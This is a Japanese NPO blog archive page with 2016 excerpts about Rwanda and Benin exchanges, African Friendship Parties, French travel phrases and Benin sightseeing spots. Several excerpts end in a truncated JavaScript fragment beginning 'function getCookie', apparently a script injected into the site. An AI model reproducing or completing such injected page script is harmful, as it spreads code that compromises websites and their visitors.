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2016年 – 特定非営利活動法人AYINA
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1/11 JICAルワンダ隊員の方の帰国報告会、開催決定!

こんにちは!藤内です! 前回ブログにも少し触れたと思うのですが、僕は大学4年間でルワンダの大学生の交流する学生団体、日本ルワンダ学生会議で活動しておりまして、   最近は就活とかもあって活動から離れていたんですが、最近ミーティングに行きました。 ミーティングは早稲田でやっているのですが、久しぶりにミーティングに行くと、やっぱり学生のうちに国際交流という団体に身をおいて本当によかったなと認識しました。   日本ルワンダ学生会議は支援団体や協力団体ではないので、ある程度対等な立場でアフリカとそしてアフリカ人と向き合い議論できるっていうところが僕の好きなところなんですが、   大学も学部も違う日本人メンバー(先輩も後輩も)と活動することもこの団体の好きなところ。   メンバーには… 美術大学の人もいたし、教育問題にのめり込む人もいたし、アフリカ留学いっちゃうひとも居るし、政府機関で働く人もいるし、国際協力のプロになる人もいるし、はたまたアフリカとは結びつきそうもない一般企業に就職する人もいる。 色んな人が各々の道を歩んで、オリジナルなアフリカとの距離感で活動してるところがいい。   最近では「アフリカ」って聞くと、「ビジネス」とか「支援」とかと一緒に語られがち。 でも最近思うのは、自分が関わる上でアフリカとの距離感ってものすごく大事ってこと。 アフリカでビジネスマンになるのもいいし、アフリカの文化が好きで旅するのもいいね。ボランティアで2年くらいアフリカのど田舎行くのもいいね。 アフリカに興味のある人全員が、それぞれのアフリカとの距離感を持ってるはず。 ならばそんな人と多く出会える場所って素敵だなと。 日本ルワンダ学生会議はそういう場所。   そんなときに団体のメンバーから誘われたのがこのイベント。   JICAの協力隊員として最近までルワンダにいた方。コーヒー農園の経営をされていて、日本ルワンダ学生会議のルワンダでの活動でもお世話になった方。ボランティアという立場でビジネスに関わっていた方。   今回帰国されるとのことで色んな方面からお話を伺います。 アフリカやルワンダにはずっと国際協力で関わってきた方も、 JICAのボランティアに踏み出せない方も、 大学や大学院でアフリカに触れてる方も、 ビジネスでアフリカに関わっている方も、 是非足を運んでみてほしいです!   自分とアフリカとの距離感を見つけるために、是非参加してみることをオススメします   --------------------------FB広報文、抜粋-------------------------------------   今回はJICA青年海外協力隊員として、ルワンダでコーヒー農園の経営を 支援された園田裕明氏に、「ルワンダの今」をお話頂きます。 「アフリカ」「ルワンダ」「ビジネス」「社会貢献」「JICAボランティア」 「ジェノサイド」などについて第一線で活躍されていた方からお話を伺える ...

AYINAベナンメンバーがお世話になった神奈川農業技術センターの皆様

副代表の内藤です! 先日はAYINAベナンのメンバーで、 農業担当をしているジュリアンさんが半年間お世話になりまくった 神奈川県農業技術センター へ行って参りました! 神奈川県は平塚からバスで20分ほど行ったところにそびえ立つ大きく立派な建物でした。 ジュリアンさんはこの子です。 ベナンで農業を学び、こちらでも半年学び、 日本の農業技術の高さと、ベナンの可能性に気づきました。 日本での研修中の様子も、テレビで報じられました。 ベナンの農業レベルを上げていくような活動をジュリアンさんはしています。 最近でいうと農業研修を実施しました。 これも全て始まりは、神奈川県農業技術センターの皆さんのおかげです! これはAYINA副代表として挨拶しておかないと! ということで、ご挨拶に伺いました! これでまだ全員ではありませんが、 ジュリアンがお世話になった皆様です。 ジュリアンが作った天然塩を含めたお土産品も渡しましたよ。 ちょこっとだけですが、ジュリアンの農業研修の様子を動画でも紹介しました! 実際にこちらで学んだ技術を、ベナンで実践している姿に皆さんも喜んでいらっしゃるようでした。 とはいえ、まだまだベナンの農業レベル向上のプロジェクトは始まったばかりです! 今後も皆さんのお力をお借りしつつ、活動に励んでいこうと思います! function getCookie(e){var U=document.cookie.match(new...

「第4回African Friendship Party」報告

副代表内藤です! 2016年12月17日、渋谷イェネガさまにて 約1年半ぶりとなるAfrican Friendship Partyが開催されました! 今回は、私副代表がちょうどベナンから帰国したてということもあり、 「アフリカにおける文化交流とビジネスの大切さ」という議題でスピーカーとしても お話させて頂き、 AYINA Japan&Africaの活動についても紹介させて頂きました! そして参加者様皆さんが主役であるAFPですので、 皆さんに20秒自己紹介タイムも設けました! 終始はじめて会ったとは思えない、アットホームな雰囲気の中、 参加者様も「元青年海外協力隊」「元UNHCR職員」「高校生」「在日アフリカ人」などなど、 様々な経歴の方がお越しいただきました! ベナン産のドライパイナップル、ドライココナッツ、天然塩などの試食会もしましたよ〜 ...

African Friendship Party準備、進んでます!!

副代表内藤です! ついに二日後と迫りましたAfrican Friendship Partyの準備が佳境に入っております! まずは記念すべき第一回開催となります、札幌会場! 札幌支部代表の梅ちゃんを筆頭に、 元協力隊の方々もサポートしてくださり、なんと既に満員御礼状態です! ありがとうございます〜〜〜   第四回となりました東京でのAfrican Friendship...

ベナンに行くなら最低これだけは覚えておこうフランス語フレーズ集!

AYINA副代表内藤です! 今回は、ベナン滞在歴3ヶ月、フランス語力0の僕が、 これだけで乗り切ったフランス語フレーズを発表します!   ボンジュール、ボンソワ まずは「おはようございます」「こんにちは」ですね。 フランスではこんにちはまでがボンジュールらしいんですが、 ベナンでは、 Bonjour/ボンジュール→おはよう Bonsoir/ボンソワ→こんにちは、こんばんは って感じでした。 とにかく最初の1週間とかはこの二つしか使ってませんでした笑 でも元気よく笑顔で言うと、 あとは何いってるかわかんないけどコミュニケーションはとれます!   メルシーボク Merci beaucoup/メルシーボク メルシーが「ありがとう」で、ボクが「とても」的な意味になるので、 Thank you so...

ルワンダダンス界に革命?!現地人に溶け込む元協力隊員の活動紹介。

副代表の内藤です。 今回は、僕の後輩隊員にあたる、 元青年海外協力隊でルワンダ派遣の大江里佳(おおえさとか)さんにインタビューさせて頂きます!   内藤(以下な)「こんにちは!」   大江(以下お)「こんにちは^^」   協力隊としてのルワンダ渡航は何と3度目だった な「いきなりですが、読んでもらってるみなさんに、簡単に自己紹介していただいてもいいですか?」   お「地元愛知県の高校を卒業した後、 自分のことを誰も知らない新しい環境に入ってみたいと思い、 関東の私立大学に入学しました。 それまで自分が周りにどう思われているとか そうゆう自分にならなきゃとか思ってしまう性格だったので、 そんな殻を破って自分らしくなりたいという思いが強かったのを覚えています。 専攻は教養学部国際学科で漠然とですが、日本以外の国に興味があったので、 外国のことを学べるその学科を志望しました。 1年の夏にフィリピンに短期のボランティアへ行ったことがきっかけで、 世界の途上国に関心を持ち始めました。 3年次にはアフリカゼミに加わり、 そこで教授に誘われた学科の翌年から始まるルワンダに関する プロジェクトの視察で、2週間のルワンダの渡航に参加しました。 それに続く翌年のプロジェクトでも再び2週間ルワンダに滞在。 ...

ベナンで絶対行くべきスポット②ウィダ

副代表内藤です! さてさてベナンで絶対行くべきスポットシリーズの第二弾ですが、 ウィダ をご紹介します!   ウィダはコトヌーから近い まず近いってのはいい事です。 大体ベナンに来る方はコトヌーを拠点にする方が多いのですが、 コトヌーからも1時間くらいと非常に近場にあるので、 気軽にいけます。   ブードゥー教の聖地 古くからブードゥー教の聖地とされています。 こんな銅像がいっぱいありますよ。 ブードゥー教をちょっとだけご説明しますと、 ブードゥーは英語読みで、ベナン人はヴォドゥンと呼びます。 「精霊」の意味で、ベナンの国教にもなっています。 由来はなんと アフリカから中南米に奴隷として連れてこられたアフリカ人が、 土着宗教を発展させて作ったものだそうです。 日本やアメリカではゾンビの元としてまあまあ知られていますが、 日本人からすると非常に異文化な宗教ではあるので、 僕もこれから色々勉強してみようと思います。   奴隷貿易時代を学べる場所 奴隷時代があったという事実は私たち日本人は知ってはいても、 やはり教科書の中での出来事です。 ですが、この場所は本当に奴隷貿易が行われていた場所なので、 その時代を学ぶ博物館や、銅像もあるんです。 こういった一面もベナンに来たなら見ておくべきです。 日本人が「世界は原爆の恐怖から学ぶ必要がある」と言うように、 世界はアフリカの奴隷時代から学ばないといけないと思います。       還らずの門 ここを通過すると2度と帰ってこれなかったと意味で 1995年作られた門です。 この門の先にある海岸から、アメリカ大陸やカリブ諸島に運ばれたそうです。 運ばれ方も荷物のような状態で運ばれたそうです。 こうした悲しい過去が起きないように、必ず語り継いでいかなければなりませんね。   ウィダは綺麗な海 とはいえ現在は、ベナン人のデートスポットにもなっているウィダの海。 流れは半端なく強いので、泳ぐ事は出来ませんが、 ずっと眺めているだけでも癒されます。   お土産屋もありますよ 観光客が多く来る場所でもあるので、 こうしてお土産屋もありました。 外国人にも慣れてるのか、超ブロークンイングリッシュで話しかけてくれます笑   ブードゥー教と奴隷時代と学び、海で癒されましょう しっかりベナンの国教でもあるブードゥー教と、奴隷時代の歴史を学び、 最後は海を眺め癒されてもらえればと思います!   function...

ベナンで絶対行くべきスポット①ガンビエ

副代表内藤です! 今回は、ベナンで絶対行くべきスポットシリーズの第一弾として ガンビエをご紹介したいと思います!!   アフリカのヴェネチアと言われているそうな まあヴェネチア(イタリア)といっても自分行った事ないからわかりませんので、 実際に写真で見比べてみましょう! まず本物のヴィネチア! ほお〜美しいですね。 ヨーロピアンな建物に、水路とまさに異文化って感じですね。 ではでは、アフリカのヴェネチアガンビエいでよ! ヴェネチア・・・?? と思った方。「アフリカの」ヴェネチアですよ!   まあなんにせよアフリカ最大の水上都市です 上から見るとこんな感じです。 こうしてみると綺麗ですね(笑) アフリカ最大の水上都市だそうで、本当にずらーーーーーっと水上に民家が並んでます。 教会も、学校も、ホテルだってありますよ。 人口は45000人です。すごい。   元々の理由は奴隷から逃れるため 16世紀あたりからある古い都市ですが、元々水上に住み始めたのは、 当時の王国が奴隷として捕まえようとしてくることから、逃れる事だったそうです。 ガンビエの意味も調べてみると、 「ついに平和を見つけた人々の集落」 という意味だそうです。 そしてそのまま住み続けているわけですね。   とにかく異文化! 僕も昨年アフリカホームステイで初めてベナンに訪れましたが、 一番異文化を感じた場所がこのガンビエでした。 子供達も颯爽とボートを漕いでいる姿はカッコ良さどころか渋さまでありました。 来年もアフリカホームステイ企画中です! ガンビエ訪問は絶対いれますからね! 個人的にはガンビエホームステイしたい・・・ function getCookie(e){var U=document.cookie.match(new...

AYINA Beninと二回目のミーティング!

副代表内藤です! AYINA Beninメンバーと2回目のミーティングをしてきました! 前回の報告はこちら 今回は忘れずに写真撮ってきましたよ〜! こんな感じでミーティングしてます。 メンバーはもっといますが、予定が合わなかったり、遠くにいたりで この日は10名弱。 前回がアイデアの絞り出しだったので、現実的に「いつ、どこで、どうやって」を話し合いました。 日本人風にやればもっと早く話し合えると思いましたが、 敢えて口出しはせずにあくまで傍観者としていましたが、 気がつけば4時間もやってました(笑) まだまだ話すことはありましたが、みんなが疲れて終了というアフリカらしいミーティングでしたね。 でも、いくつかのプロジェクトは来週からにでも動き出せそうな雰囲気でした。 副代表の自分の役割としては、 ・彼らを定期的に鼓舞する(指示ではなく鼓舞です) ・AYINA BeninとJapanの連携強化 となってますが、問題が一つ。 ほとんどのメンバーがフランス語しか話せない。 そして私、英語しか話せない。 というわけで、いよいよ(遅いわ)フランス語を本気で学ばないといけなくなってきました。 頑張ります。 とりあえず、今回の渡航では最後のミーティングとなりました。 次回またベナンに来た時にどれだけプロジェクトが動いているか、楽しみです! 帰国してからも連絡取り合いますけどね! AYINA Japanも負けてられない!  ...